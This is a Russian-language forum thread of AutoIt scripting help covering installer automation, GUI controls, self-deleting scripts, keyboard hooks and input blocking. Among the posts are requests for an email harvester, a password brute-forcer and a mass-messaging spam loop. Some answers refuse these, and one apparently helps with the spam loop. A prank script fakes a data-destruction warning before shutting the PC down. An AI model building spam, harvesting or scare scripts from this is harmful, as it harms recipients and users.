Выбрать строку удалось таким способом: ControlCommand ('Setup - K-Lite Codec Pack','Select Additional Tasks','TNewCheckListBox1','SelectString','Check for codec news and updates') Send ('{SPACE}') ControlClick ('Setup - K-Lite Codec Pack','Select Additional Tasks','&Next >') Хочется реализовать по примеру ControlCommand (','','Button1','UnCheck') потому как Send ('{SPACE}') не устраивает. Так не вышло: ControlCommand ('Setup - K-Lite Codec Pack','Select Additional Tasks','TNewCheckListBox1','Uncheck','Check for codec news and updates') (как я понимаю и не должно было это же список а не 1 чекбокс) Вопрос 2: Как обратится к строкам элемента 'TNewCheckListBox1' напрямую не через выбор строки ? |
*OM*,
Цитата:
Цитата:
|
Гхм... Creat0R у меня же написано к выбранной строке в TNewCheckListBox1
А обратится это значит(имел ввиду) "использовать одну из строк TNewCheckListBox1 в общем взаимодействовать". К примеру могло быть TNewCheckListBoxString9 (это 9й чекбокс в списке). Я обратился так ControlCommand ('Setup - K-Lite Codec Pack','Select Additional Tasks','TNewCheckListBox1','SelectString','Check for codec news and updates') Но это только выбор строки.. Вроде в моем предыдущем посте подробно описано. Странно что приходится уточнять :ninja2: |
*OM*,
Цитата:
Цитата:
Примерно так: Код:
$hWnd = ControlGetHandle('Setup - K-Lite Codec Pack', 'Select Additional Tasks', 'TNewCheckListBox') |
Насчет обращения к 9 чекбоксу это ПРИМЕР такого элемента как TNewCheckListBoxString9 в окне нет. Это пример возможного взаимодействия со списком TNewCheckListBox1 как я представляю обращение к строке листа чекбоксов.
Есть только объект как я понял список чекбоксов TNewCheckListBox1 и по виду он таковым является. В нем масса строк выбор можно осуществить через SelectString. После этого можно Send ('{SPACE}') но нужно именно Uncheck А функцию попробую. Кстати это тип объекта TNewCheckListBox1 очень во многих инсталляторах встречается.. Почему сдесь и задал вопрос , думается однозначно с ним сталкивались. |
*OM*
Цитата:
контрол нестандартный, поэтому проще задействовать штатные функции (через INI-файл): линк: http://www.codecguide.com/silentinstall.htm |
Всем привет.
Как можно заблокировать авторан который запускается с флешок, скриптом? |
Где бы таки укачать русскую справку к autoit, по ссылке в шапке, задолбался уже скачивать: 404: The page/file you requested could not be found.
|
Цитата:
|
Мастера покажите простенький пример скрипта который удаляет файл из которого был запущен.
Вопрос: Возможно это реализовать с помощью Ai или .bat или .cmd создавать ? |
HORRIBLE,
Цитата:
*OM*, Цитата:
Код:
Opt("OnExitFunc", "_SelfDestroy") |
Цитата:
Это для Uninstall буду использовать. |
Можете написать скрипт:
1. Заходит на какой то сайт (есть алгоритм) 2. потом на сайте делает поиск мыла ну вид *@*.ru *@*.com *@*.ua и так далее и запихивает в файлы адреса (.VCF .CSV .TXT .DOC .XLS и т.п.) какой то один из них, файлы делает по 100кб. 3. дальше делает переходы по страницам и пункт 2 повторяется. 4. если нету внешних ссылок то заходит на другой сайт (алгоритм есть) в ие это все ну понятно все там закрывает когда проходит страницу |
Написал скрипт, никак не могу сделать перебор пользователей.
Может кто-нибудь подправить. PHP код:
|
Вложений: 1
Здраствуйте.
Как в Excele зделать, допустим в ячеке B1 находится цифра 3 тогда в ячеике B5 троику заменить на значек (+) на картинке я примерно нарисовал как надо, от куда и куда :-)) Спасибо. http://forum.oszone.net/attachment.p...1&d=1210755511 ну и далее |
Проще всего используя функции логики самого Exel'я, почитай справку, там все есть.
|
Как разбить число допустим 1367 на 1 3 6 7 и присвоить каждую переменной
|
Drsmog,
Цитата:
Код:
$iNumber = 1367 |
All
Посмотрите, плиз, тему Трей начал прыгать - это ваша специализация :) |
Библиотека автоматизации Winamp плеером!
Не требует установки внешних модулей к Winamp, функции построены на основе SDK с оф. сайта разработчиков Winamp'а. ![]() |
DENoszone
Цитата:
1. Для чего нужен скрипт? (есть сомнения) 2. Как вы собираетесь ограничивать геометрический рост кол-ва обрабатываемых линков?.. К примеру, в телепорте есть два механизма: ограничение на глубину вложенных ссылок, либо только ссылками на исходный сайт... В противном случае перебор может никогда не закончиться, при этом бесконтрольная загрузка всех подряд URL-ов (в основном ненадежных сайтов) отрицательно скажется на здоровье ослика IE. alex888500 Цитата:
Drsmog, Цитата:
Yet Another -- ExcelCOM UDF, Proceeding by Community-Established UDF Standards |
Цитата:
2. ну первое огранчение это наверное домены сайтов. ua com ru ну наверное это хоть как то снизит вероятность попадание на злобный сайт=) блин..даже не знаю =( надо подумать...как вы считаете нужным? |
Скрипт который я написал для одного пользователя, выполняется бесконечно пока не нажата F11, работает нормально:
PHP код:
PHP код:
|
alex888500
Можно создать массив с логинами пользователей и передавать их в функцию, что -то вроде этого: Код:
Run("*********") |
Цитата:
|
Цитата:
Код:
_Login("lexx127") Все-таки попробуте запустить "AutoIt Window Info" и выяснить ID элементов окна - кнопок и Edit-боксов (типа "Edit1", "Button1"), тогда можно будет пробовать работать с элементами напрямую по ID и не зависеть от координат окна. |
Цитата:
|
Снова ОМ и мир всем.
Цитата:
Код:
Opt("OnExitFunc", "_Uninstall") Если делаю сам в консоли, при наборе команды с указанием пути в кавычках, удаляется папка и содержимое. :ninja2: |
*OM*,
Цитата:
Код:
Opt("OnExitFunc", "_SelfDestroy") |
Наконец обновился AutoIt 3.2.12.0!
Список изменении тут, если сильно попросите переведу на русский :) Из приятного и долгожданного: * Убрана опция «RunErrorsFatal», теперь естественно она по умолчанию задействована. * К Inet-функциям теперь добавляется User Agent, многие сайты блокируют доступ при пустой строке юзер агента. * Максимальное число создаваемых GUI-окон выросло до 65532. * Добавлен GUISetAccelerators(), я о нём кажется уже писал ранее. * Добавили REGEXPCLASS в расширенное распознавание заголовков окон (по моей просьбе :tongue: ). * FileReadLine( ,-1) теперь читает последнюю строку в файле. * Добавили GUICtrlSetDefColor() и GUICtrlSetDefBkColor(), ох сколько я этого ждал, тоже по моей просьбе. * Добавили Hwnd параметр для функции: MsgBox(), FileSelectFolder(), FileOpenDialog(), FileSaveDialog(). А сколько этого я ждал и просил.... P.S Я так приблезительно прикинул, получается новая версия выходит в среднем примерно раз в пол года! :up P.P.S Я рад что не обновился полностью до 3.2.10.0, пришлось бы опять всё перестраивать. |
Если кто не знает вышла версия 3.2.12 - почти полгода мурыжили.
|
NikLok,
Кхм кхм... смотрим выше и... ;) |
Цитата:
|
Creat0R Не удалил.. Результат тот же остается пустой каталог. :help:
|
*OM*,
Цитата:
Код:
Opt("OnExitFunc", "_SelfDestroy") :) |
*OM*
Цитата:
|
amel27,
Цитата:
|
Creat0R этот вариант выполнил задачу как и хотелось. Выражаю вам своё Домо аригато годзаимащта ! :ninja:
Попутно возник - Вопрос: Как сделать проверку пуст каталог или нет ? Наличие файла я проверяю через FileExists() , а для проверки наличия каталогов не нашел подобного. P.S. А как это вы код подсвечиваете в своих ответах ? Не иначе мощное " колдунство " :wizard: |
*OM*,
Цитата:
Код:
;Переменной $IsEmpty присваивается значение возвращаемое ф-ей _DirIsEmpty() Цитата:
|
мне не кто не поможет=(
|
*OM*
Аналогично с помощью WinAPI: Код:
$IsEmpty = _DirIsEmpty("c:\Test") |
DENoszone
думаю нет - прога слишком смахивает на генератор спама... подсказка: реализация будет через использование ф-ций StringRegExp* и _IE* |
Вопрс такой интересный....Возможно ли с помощью скрипта запмсать диск (файл для записи находится на С:\test.txt)?
|
Здравствуйте! понимаю, что глупо вытаскивать данные из чужой программиой посылом сендов и принудительными кликами мышкой, но выхода другого нет... данные потом успешно обрабатываются с пом ExcelCOM_UDF.au3).
Решила вот воспользоваться ControlClick,ControlFocus и ControlSend. При помощи автоит.инфо можно вытянуть всю информацию об окнах. Вроде это даже как более правильно и работает в разы быстрее! (это нужно, потому что в формах программы могут добавляться новые кнопки и перемещаться те,которые надо кликать). Но вот что заметила - работают эти контролы через раз! то запускаются, то нет, скрипт стоит, ожидаючи посыла в текстовое окно нужного текста, нажатия кнопки...и непонятно - почему он стоит? Прога та написана на делфи, окна определяются, и все его составляющие тоже. В чем же дело? Может какие то опции надо прописать? В хелпе ничего не нашла. Кто сталкивался, помогите пожалуйста! Новую версию юзаю - тот же глюк( Вот все что использутеся.... введение логина ControlFocus("Подключение","","[CLASS:TLogInAppForm]") ControlSend("Подключение","","[CLASS:TLogInAppForm; INSTANCE:1]","Иванов") ввод дат в окошко с датами ControlFocus("Фильтр","","[CLASS:TDBDateTimeEditEh;INSTANCE:6]") ControlSend("Фильтр","","[CLASS:TDBDateTimeEditEh;INSTANCE:6]",$day1 & $mes1 & $god1) клик мышкой по кнопке ControlFocus("Фильтр","","[CLASS:TBitBtn; INSTANCE:4]") ControlClick("Фильтр","Очистить фильтр","[CLASS:TButton;INSTANCE:1]") |
Есть autorun-файл (install.exe). После нажатия Установить открывается setup-файл (setup.exe).
Надо, чтобы после завершения работы setup-файла открылся другой файл. Но только при установке, а если запускать удаление через setup, то ничего открываться не должно. И так же, если при открытии ламер)) "нажал на закрытие") |
Здрасте! У меня два вопроса: Как в Autoit осуществить попиксельное сравнение изображений (в браузере), и как отслеживать события flash приложения (тоже в браузере). Буду оч благодарен если поможите!
|
SvetlanaK, что можно попробовать:
- поставить Sleep(100) после каждой Control-команды; - вместо ControlSend использовать ControlSetText; - проверять успешность выполнения каждой команды via ControlGetFocus, ControlGetText; - использовать ф-ции отладки TrayIconDebug, _Debug* для локализации сбоев в работе скрипта. prodist способ определения успешной или неуспешной установки у каждого приложения свой - к примеру, проверить наличие EXE-файла в определенном каталоге... В общем случае, вычислять какие там кнопки жал пользователь при установке бессмысленно - попытаться можно, но толку от этого мало... он мог просто не согласиться с лицензионным соглашением или передумать уже в процессе установки на любом шаге :) |
amel27
Не поможешь? Пытаюсь получить список расшаренных ресурсов компьютера: Код:
$SHARE_INFO_0 = DllStructCreate("wchar[256]") |
amel27, спасибо, стала пробовать и случайно заметила, что команды MouseClick и ControlClick имеют разный интервал времения выполненияз, и если стоит так
MouseClick (...) ControlClick (...) то ПЕРВОЙ выполняется ControlClick (...), а уж потом только MouseClick (...), что вызвало путаницу в последовательности действий. а вот еще по ходу дела вопросик, там попадается окно с чекбоксами, где ставятся галочки, как бы моему скрипту "увидеть", стоят они или не стоят? на ум приходит только анализировать пикселы в этом участке, поскоку по аи.инфо можно только увидеть изменение цвета в квадратике. может еще какие идеи есть? буду благодарна за любой совет. |
Цитата:
Код:
|
Так ведь в конце установки появляется кнопка Готово (она появляется и при удалении, но текст разный в, наверно, Edit'ах) )
|
Maza Faka Спасибо за помощь и быстрый ответ ! :ninja: Я подумал и взял вариант Creat0R'а он немного короче и AI код мне поближе чем WIN API (недорос наверное я до него =) )
P/S: ОМ и мир всем. |
Возможно ли с помощью скрипта узнать серийный номер и модель жёсткого диска и возможно ли это потом с помощью скрипта записать на диск?
|
Как прочитать текст с текущей страницы браузера? Т.е где на странице есть текст вида "BlaBlaBla: $num" нужно получить это самое num. Единственное что нашел это _IEBodyReadHTML. Но оно считывает все тело. Есть ли какая-то функция для поиска или надо ручками считывать и искать нужную строку?
И второй вопрос - данная функция поддерживает вроде как только ИЕ... для других браузеров ничего нету? |
Делаю... скринсейвер на AutoIt. Неполноценный, он просто выводит с трея баллуны типа "Работаем!". Опять вернулся к вопросу параметров командной строки для скомпилированного скрипта. Как известно, скринсейвер запускается параметров /s. Как сделать разной реакцию скрипта на запуск:
Rabotaem.exe /s и Rabotaem.exe. Ответ, пожалуйста, с примером и на русском языке :) |
DedJager,
Цитата:
Код:
$Html = _INetGetSource("http://some_web-site.com/some_page.html") Котяра, Цитата:
|
И все-таки скажите пожалуйста где скачать русскую справку, просмотрел всю тему но так и не нашел действующих ссылок.
|
|
Creat0R, вопрос был конкретно про параметры командной строки...
хотя эта информация тоже полезна для меня Вроде получается... |
Цитата:
Код:
#include <array.au3> Цитата:
|
Цитата:
|
Цитата:
|
Котяра,
Цитата:
Скомпилировать скрипт, и переименовать *.exe в *.scr, и запускать (либо с меню функции заставки, либо прямым запуском). |
Creat0R, я про знаю, с какими параметрами запускается скринсейвер Windows. Я спрашивал, как менять реакцию скрипта на них. И понял: так (через эту переменную):
Цитата:
|
Цитата:
|
prodist,
Цитата:
|
задача:
1.Открытие поисковика google.ru или ya.ru 2.В строку поиска берет первую строчку файла 123.txt (синтаксис файла: каждая строчка это новый запрос виида *.text.tx вместо text.tx может бытьчто угодно, вместо звездочки...ну так и вводите) 3. И дальше начинает переходить по всем ссылкам подряд до последний странице и на страницах ищет эту *.text.tx (asdqwe.text.tx qweqwe.text.ru) 4. записывает в файл построчно. 5. после всего все переводит в нижний регистр 6. проверяет на повторы. 7. вот и все. кто сможет сделать? |
DENoszone,
Хочу уточнить... Цитата:
Цитата:
|
Creat0R,
записывать все что вида *.text.tx ну не знаю..думаю было бы проще..что бы не чего не сбивать..в конце после записи. |
DENoszone,
Цитата:
|
я проверил можно без * просто .text.tx записывать надо все символы перед .text.tx к примеру qwe-qwe.text.tx или qwe_qwe.text.tx
все символы до первого пробела. может будет глюк какой то..то симоволов не больше 32..ограничение.. |
Кто нибудь знает как определить цвет панели задач?
|
ПрЮвет! Подскажите люди добрые как ввести имя и код активации если имею setup.exe /s
|
В функции MsgBox есть необязательный параметр - время вывода.
Кто нибудь делал отображение обратного отсчета этого времени в самом MsgBox ? То есть висит и тикает! |
DENoszone,
Мне не удаётся пропарсить исходный код страницы при поиске на Google/yandex :(, там часто меняется запрос, я уже не говорю о поиске во всех результатах, это кстати может занять довольно много времени. |
NikLok,
Цитата:
Код:
Const $COLOR_SCROLLBAR = 0 ; - цвет полосы прокрутки Код:
$TaskBar_Hwnd = WinGetHandle("[CLASS:Shell_TrayWnd]") |
Вложений: 1
VovaVolk,
Цитата:
NikLok Цитата:
Прикрепил один продвинуты пример. Это кстати моя попытка (удачная на мой взгляд) имитации оригинального MsgBox, но в этом случае я обхожу баг AutoIt'а, когда деактивируем все GUI-окна, при обратной активации родительское окно не отображается, только наш дочерний MsgBox. Этот баг проявляется тогда, когда родительское окно имеет подсказки (ToolTips), а дочернее нет. P.S Этот немаленький UDF поддерживает все те же константы/функции что и обычны UDF, приимущества думаю упоминать не нужно ;) |
Creat0R,
Цитата:
|
Creat0R,
Цитата:
1-метод с моей темой VistXP дал один и тот же цвет для таск бара на двух машинах с реально разными темами и цветами панели задач! |
NikLok,
Цитата:
Цитата:
Цитата:
|
Creat0R,
Цитата:
К сожалению второй метод тоже не годится! У меня убирающийся таск бар! Еще минуточку. Вот пытаюсь сделать активным окно fIREfOX с помощью рег. выражений Код:
WinWait("[REGEXPTITLE:.*Mozilla Firefox.*]","") |
NikLok,
Цитата:
Код:
WinWait("[CLASS:MozillaUIWindowClass]") |
Creat0R,
Цитата:
А гле ты посмотрел это название класса - MozillaUIWindowClass ? Просто надо же знать как этот класс будет называться у другого приложения! |
NikLok,
Цитата:
|
Цитата:
|
Creat0R
а можно я пишу сайт...а скрипт парсит его с верху до низу |
Creat0R, Возможно ли как то узнать серийный номер жёсткого диска, CD-ROMa, материнской платы....?
Возможно ли с помощью скрипта писать диски? Возможно ли с помощью скрипта, зная название программы, к примеру 1С, узнать на какой сетевой адрес и через какой порт она подключена? |
Можно ли с пом скрипта определить момент появления флэшки в компьютере?
в хелпе отыскала $var = DriveGetDrive( "REMOVABLE" ). но как сделать именно отслеживание? проверку в реальном времени, а не появилась ли флэш...и если появилась то выдать например сообщение типа "проверьте товарисч ее на вирусы, а не тоооооооо...." можно? |
VovaVolk,
Цитата:
DENoszone, Цитата:
TERMINAL, Цитата:
Цитата:
Цитата:
Я административными задачами не занимался, за исключением мелких, которые были любопытны мне. SvetlanaK, Цитата:
Код:
#include <GuiConstants.au3> |
TERMINAL
Цитата:
Цитата:
|
Creat0R, большое спасибо!
|
Имеем код типа
Код:
GuiCtrlCreateTab($x, $y, $w, $h Что значит надо самому запоминать его состояние и восстанавливать при переключении на данную вкладку? Мне кажется много кода будет! Кто нибудь подскажет имена событий связанные с переключением вкладок. А еще лучше пример обработчика. Или я опять все привратно трактую, в силу недопонимания?! И кстатит на что влияет заключительная контсрукция GuiCtrlCreateTabItem(""). Я сначала без неё усе написал а потом у хелпе выглядел! |
Цитата:
2. Я думаю, нет, запись дисков не является функцией Windows, она появилась лишь в Windows XP. Только если подключить какой-нибудь command-line прожигатель дисков. 3. Не знаю |
NikLok,
Цитата:
Цитата:
Код:
#include <GuiConstants.au3> Цитата:
|
Цитата:
В принципе на все ответил. Только момент не совсем ясен: Цитата:
Наверное вместо них так же можно использовать $TabItem1 и $TabItem2 ? А что с сохранением позций listview в табах? |
NikLok,
Цитата:
Цитата:
Цитата:
Код:
#include <GuiConstants.au3> |
Creat0R, Спасибо! Я пока поразбираюсь сам в своих выкрутасах. Наверное что-то напутал! Если что спрошу исчо.
|
срочно
есть ссылка http://odnoklassniki.km.ru/my/mail/m...iduser=1200000 ещё надо генерировать в цикле (след ссылка http://odnoklassniki.km.ru/my/mail/m...iduser=1200001 +1 ) в поле сообщения ввести определеный текст. зараанее спасибо..думю это просто? |
amel27
Посмотри, если будет время: Код:
#include <WindowsConstants.au3> Инфа |
а то что я написал можно вобоще сделать??
или нет? |
Подскажите, пожалуйста, можно ли без применения других программ, а только с помощью autoit залить файл на фтп? В архиве ничего подходящего не нашел... (Если боян, прошу не пинать :) )
|
|
ну там ..куда писать..вообщем мне надо спам о этому сайту...
я хочу там в конкурсе выграть=) |
DENoszone,
Цитата:
|
ну ..там легко зарегистрирватся=)
|
DENoszone,
Цитата:
|
DENoszone,
Цитата:
Код:
#include <GuiConstants.au3> |
а как в цикл?
и как +1 к ссылке? и ксатти не отправляет вроде... может другой браузер надо: |
DENoszone,
Цитата:
Код:
$iCounter = 0 Цитата:
|
та я просто...до этого так же как и ты сделал...оно и не пахало..во тчего написал...
|
Подскажите пожалуйста, у меня есть exe файлик в редакторе ресурсов написано что он создан с помощью "AutoIt v3 Script : 3, 2, 2, 0" я хотел бы узнать как и чем его можно открыть и посмотреть какие команды он выполняет, это возможно? Извините если не по теме.
|
Белтон,
Цитата:
|
подскажите пожалуйста как в скрипте получить входные параметры, переданные при запуске скрипта.
Пример вызова C:\script>input.exe параметр Пример скрипта MsgBox (0,"Example", "параметр" ) |
KKulik
Help |
спасибо
|
ну что не как не получится моё сделать?
|
Подскажите пожалуйсто, как узнать URL странички которая уже открыта ? Т.е. мне нужно узнать адрес странички на которой сейчас находится пользователь.
Давно тут приводился пример мониторинга нажатия клавиш на клавиатуре, , но у меня почему то выпадает ошибка.... #include <DllCallBack.au3> (ошибка открытия файла) из -за чего это может быть, стоит последняя версия AUTO IT. DENoszone, можно изголиться вот так ))(т.к. по нормальному не получилось написать, вечно спрашивал заблочить ли ему пользователя или нет), , только одно но, отправляются одни латинские буквы нормально, русские идут кракозяброй и иногда пролетает с нажатием на кнопку. |
Цитата:
Код:
Global Const $WH_KEYBOARD_LL = 13 |
HORRIBLE,
Цитата:
Код:
$URL = ControlGetText("[CLASS:IEFrame]", "", "Edit1") |
Можно ли вернуть список запущенных процессов ПОЛЬЗОВАТЕЛЕМ ?
|
HORRIBLE,
Цитата:
Код:
#include <Array.au3> |
Creat0R, возвращает массив пустой, хотя у меня запущено некое кол-во программ от пользователя.
|
Вышла версия 3.2.12.1
Изменений мало, только фиксы: Цитата:
HORRIBLE Цитата:
|
HORRIBLE,
Цитата:
Код:
#include <Array.au3> |
Помогите разобраться. Открываю AutoIt 3, копирую туда текст из файла справки по автоустановке Windows:
ProgressOn("Пожалуйста, подождите...", "Происходит уничтожение данных :)", "Система обнаружила использование нелегальной" & CHR(10) & "копии Windows. Через " & $j & " сек. все данные" & CHR(10) & "на ваших дисках будут уничтожены.") For $i = 1 to 99 step 3.3 $j=$j-1 sleep(1000) ProgressSet( $i, "Система обнаружила использование нелегальной" & CHR(10) & "копии Windows. Через " & $j & " сек. все данные" & CHR(10) & "на ваших дисках будут уничтожены.") Next ProgressSet(-1 , "Шеф! Все пропало. Прощайте.") Shutdown(2) sleep(5000) сохраняю это все как 12.au3, запускаю его, выскакивает окно: Line 1 (...) ProgressOn("Пожалуйста, подождите...".... ...................................................................... Error: Variable used without begin declared. Что делаю неверно? |
Deep2007,
Цитата:
Вот немного поправлены пример: Код:
BlockInput(1) |
HORRIBLE
Creat0R Нашёл таки, как Цитата:
Код:
#include <Array.au3> ; Нужно только для фунции _ArrayShow() :) |
Люди!! кто разбирается в скриптах!! помогите сделать скрипт который автоматом будет создавать PPPoE соеденение!! плиз!! очень очень нуна!!!!
|
Func DOWNKEY()
$D = $D + 1 Send("{DOWN DOWN}") $D = $D - 1 if $D < 1 then Send("{DOWN UP}") EndFunc Как с помощью HotkeySet реализовать зажимание клавиши и отпускание клавиши? То есть: я зажал на клавиатуре W - игра думает, что я зажал вверх. Отпустил - отпустил вверх. 1) Пока получается сделать только так, что игруха реагирует на это, как будто я постоянно клацаю вверх. 2) Подержал допустим секунд 10. Отпустил. AutoIt ещё какое-то время обрабатывает и отсылает нажатия. |
ARBUZ, тебе случаем не rasphone.exe нужно?
Запуск: rasphone.exe -d <Имя подключения>. Только нужно, чтобы галочка Сохранять имя пользователя и пароль была отмечена (или вводить придётся). Вот скрипт: Run ("rasphone.exe -d <Имя подключения>") WinWait("Подключение") ControlSend("Подключение","<Кусок текста из окна>",1590,"{ENTER}") Только лучше больше информации "впихивать". Т.е. не Подключение, а Подключение: GUEST Аа... Понял. Тебе настройка соединения нужна. Напиши, какие настройки нужно указывать, а то мало ли. То есть такой код у меня спокойно работает: Код:
Run ("rasphone.exe") |
подскажите еще ммомент, когда подключение уже создалось, как сделать что бы еще и настраивались свойства безопасности????
|
Run ("rasphone.exe")
WinWait("Сетевые подключения") ControlClick("Сетевые подключения","",1459) WinWaitActive("Мастер новых подключений") ControlClick("Мастер новых подключений","",1491) ControlClick("Мастер новых подключений","",12324) ControlSend("Мастер новых подключений","",1114,"<Имя подключения>") ControlClick("Мастер новых подключений","",12325) WinWaitActive("Сетевые подключения") ControlClick("Сетевые подключения","",1460) ;клик по свойствам WinWaitActive("<Имя подключения> Свойства");ждём активности окна ControlCommand ( "<Имя подключения> Свойства", "", 12320, "TABRIGHT","");перемещаемся на вкладку ControlCommand ( "<Имя подключения> Свойства", "", 12320, "TABRIGHT","");безопасность Далее всё, как обычно. ControlClick, ControlSend Выбор из выпадающего списка - ControlCommand ( "<Имя подключения> Свойства", "", 12320, "SetCurrentSelection","<текст пункта выпадающего списка>"); Узнать ID отдельных элементов можно с помощью Au3Info.exe Кстати, все настройки (кроме имени пользователя и пароля) хранятся в C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk |
слушай Sylver Dragon можешь мне в аську написать??? я вижу ты понимаешь у меня есть пару вопросиков. 6584016
|
Первый раз запустил AutoIt запустил пример из папки examples и сразу возник вопрос есть скрипт notepad1.au3 почему он не хотел у меня набирать текст я понял, название окошка у меня на русском а там на английском. Но затем я немогу осуществить выход из блокнота, т.к. немогу послать !ф и ы для выхода. Помему то скрипт в этом случае русские буквы передаёт как ôû "ô" это ф и "û" это ы. Соответсвенно он их пишет в поле ввода текста, и всё. не пашет таким образом.
|
Maksimkama
В шапке есть FAQ, в котором есть примеры переключения раскладки клавиатуры. |
Спасиб. не помогло. кодировка стоит 1251 всё верно, если в 866 кодировке то показывает äë а не ôû :-) блин что за фигня даж не пойму. Хотя по русски тоже не пишет. Перепробовал переключать раскладку. либо не догнал чего то. писать по русски он тоже не пишет.
|
Maksimkama
Я писал не про кодировку, а про языковую раскладку: Код:
Run("notepad.exe") Код:
|
Стоит такая задача: отслеживать в реальном времени идет ли закачка файла через Download Master. Файл и адрес ссылки могут быть любые. Если в данный момент закачка не идет, то предпринять некий набор действий.
Как я представляю, необходимо использовать RawSocket. Кто-нибудь реализовывал подобное? Может у кого есть примеры работы с сокетами на AutoIt? |
tyrty_a
Самый простой способ это возвращать размер скачиваемого файла и если по истечении определённого времени размер не меняется, Цитата:
|
Maza Faka,
Цитата:
|
Maza Faka, странно вставлял вчера из примера тоже самое, не переключалось. счас переключается, пишет на русском, но не срабатывает
Send("!ф") Send("ы") что по идее должно посылать ALT+Ф и Ы для выхода из блокнота. Что не так? Ну собственно я конечно не для того, чтобы с блокнотом баловаться взял AutoIt. Хочу автоматизировать процесс записи телеперадач и перекодировки видео в divx. Запись уже происходит сама (встроенный в программ планировщик), но мощности компа не хватает писать сразу в divx сначала пишу в mpeg потом надо перетащить файлы в converter который идёт в комплекте с divx-ом затем после окончания обработки нужно узнать перекодировался ли файл (не нулевой ли у него размер) и поудалять mpeg файлы, которые мы посылали на перекодировку. я конечно понимаю что есть люди которые эту фигнюшку за пять минут напишут :-) хотел бы именно узнать как реализовать перетаскивание, сравнение названий файлов без расширения, узнать размер файла. |
Maksimkama
Цитата:
|
Maza Faka, ну я прост разбирал как работает скрипт, и выяснил что alt+русская буква почему то не работают :-(
|
сделал через koda
Код:
#include <GUIConstants.au3> Код:
Run ('cmdow rasdial NET USER Pass','','') Код:
Run ('cmdow rasdial /d','','') |
Цитата:
Код:
Case $GUI_EVENT_CLOSE |
Подскажите.
Есть файл в нем есть английские буква их нужно преобразовать в русские. Тут был примерчик преобразовывающий русские в английские и обратно буквы, но у меня не получается сделать чтобы преобразование шло с английского на русский. |
HORRIBLE
Цитата:
Код:
Global $aLetters_Latin[27] Код:
|
Привет!
Нужно обновлять программу на клиентах в сети, при этом обновляются все файлы+2 папки, количество файлов изменяется, а папки нет. Делал обновление при помощи батника: PHP код:
уже компьютеры забирают файлы, иначе скопируются ненужные папки. Сама прога находится здесь: C:\Program Files\Аrena Команда XCOPY сравнивает файлы в папках и копирует только новые или измененные. Какие будут идеи как это реализавать? |
alex888500
Создать массив с полными именами файлов и копировать каждый файл с помощью xcopy. А вообще для таких задач идеальна утилита robocopy.exe |
Maza Faka,
За примерчик спасибо., но это немного не то. Попробую по понятней объяснить , что требуется : Имеется файл, в котором: Код:
Ctujlyz xtndthu Как заменить буквы, чтобы прочитать, чего там написано? |
HORRIBLE,
Цитата:
|
А не поможет ли кто с процедурой определения цвета пиксела в заданном окне?
p.s. нечто подобное все таки нашел вот тут - http://forum.oszone.net/post-497838.html но может у кого есть еще какой "более интересный" или "универсальный" алгоритм... например сравнение заданной области с эталоном.... а еще лучше, если есть алгоритм который может определять текст заданного цвета на изменяющемся фоне. |
Maza Faka
Цитата:
|
хай..а тут могут сделать скрипт подбора паролей на сайт?
два файла 1 ники 2 пароли |
DENoszone
Извини, но по моему ты ошибся адресом. Здесь не Hack-зона. |
Как прикрепить файл к сообщению, создаваемому функцией _INetSMTPMail?
|
Цитата:
Smtp Mailer That Supports Html And Attachments., Also Secure SMTP mail (GMail) |
Здрасте всем! У меня возник такой вопрос: Можно ли как нибудь определить с помощью Autoit подключен ли кто к твоему радмин серверу? И если подключен то скрипт должен заблокировать на время работы мышь и клавиатуру. Так как в самом радмине такой фишки нет, то хотелось бы эту фишку добавить при помощи скриптов, который бы наблюдал за сервером и блокировал мышь с клавом во время управления компьютером (не при просмотре, а именно при управлении)
|
leprecon
Цитата:
|
Цитата:
|
Цитата:
Цитата:
|
Цитата:
А может можно при помощи autoit как нибудь фильтровать трафик на определеном порту? Хотя это вряд ли, что-то даст. |
Цитата:
- включить запись в системный журнал и ждать нужных событий; - попробовать считать цвет иконки в трее; - вообще не пытаться ничего определять, а блокировать асинхронно когда нужно. но это только половина проблемы - не факт, что блокировка локальной консоли не заблокирует и удаленную |
Цитата:
|
Цитата:
Цитата:
Цитата:
P.S. Насчет первого способа я думаю что этот способ самый рабочий, так как сервер записывает в лог сразу при подключении, и там же записывает тип подключения. Кароче сейчас буду кумекать над этим вопросом :biggrin: И еще так как скрипт будет постоянно висеть и проверять журнал на наличие нужных записей (предположительно каждую секунду), не будет ли это сильно загружать процесор? И скажите пожалуйста как можно встроить Au3ToPost в SciTE? Я все делал как выше было описано (инстукции собирал по кускам, так как единой инструкции не нашел) и после запуска выскакивает ошибка: Line -1: Error:Unkown option or bad parametr specifed |
Цитата:
Цитата:
Цитата:
Код:
$objWMI = ObjGet("winmgmts:{(Security)}\\.\root\cimv2") |
Цитата:
|
Цитата:
|
Выкладываю немного адаптированый под 3-ю версию радмина скрипт от Amel27(из-за кривых рук не смог нормально заставить работать Au3toPost :( , поэтому выкладываю нераскрашеный код):
Цитата:
Так же на удаленной клавиатуре можно разблокировать клавиатуру нажатием CTRL-ALT-DEL . Да, я знаю, что это опция Windows API. Но все же я видел программу(тоже связаную с удаленным администратированием), которая блокировала клавиатуру полностью и CTRL-ALT-DEL тоже не срабатывала. |
Цитата:
Netstat in AutoIt - GetTcpTable (iphlpapi.dll), Sometimes crashes and sometimes works, why? Цитата:
|
Цитата:
Код:
$hDll = DllOpen("WinLockDll.dll") |
Цитата:
|
amel27,
Цитата:
|
Цитата:
Код:
Global Const $VK_CTRL = 0x11 |
Maza Faka,
Цитата:
Я давно хотел узнать как отслеживать это сочетание, мне это нужно для моей утилитки KeyBoard and Mouse Cleaner, до сих пор приходилось проверять различия в позициях курсора мышки (до, и после BlockInput()), если есть различия, значит юзер нажал «Ctrl + Alt + Del», т.к по другому выйти с режима блокировки вроде нельзя :). Спасибо. |
Creat0R, Maza Faka
все это хорошо, я даже почти поверил что это можно осуществить только средствами AutoIT (хотя и не просто), но не дает покоя один момент - если параметр передавать в функцию без кавычек, то блокировка не снимается... почему?.. все равно AutoIT перед передачей преобразует тип к "int", прямо мистика какая-то... :o |
amel27,
Цитата:
Хотя всё ровно не логично... но также и не удевительно (для меня), я уже сталкивался с багами подобного характера (в более простых приминениях, сейчас точно не вспомню где конкретно). Как я понял всё же есть вариант на чистом AutoIt'е? проблема только в передаче параметра без кавычек? Пусть будут кавычки :) |
Creat0R
Цитата:
Цитата:
Цитата:
Цитата:
|
Цитата:
|
amel27,
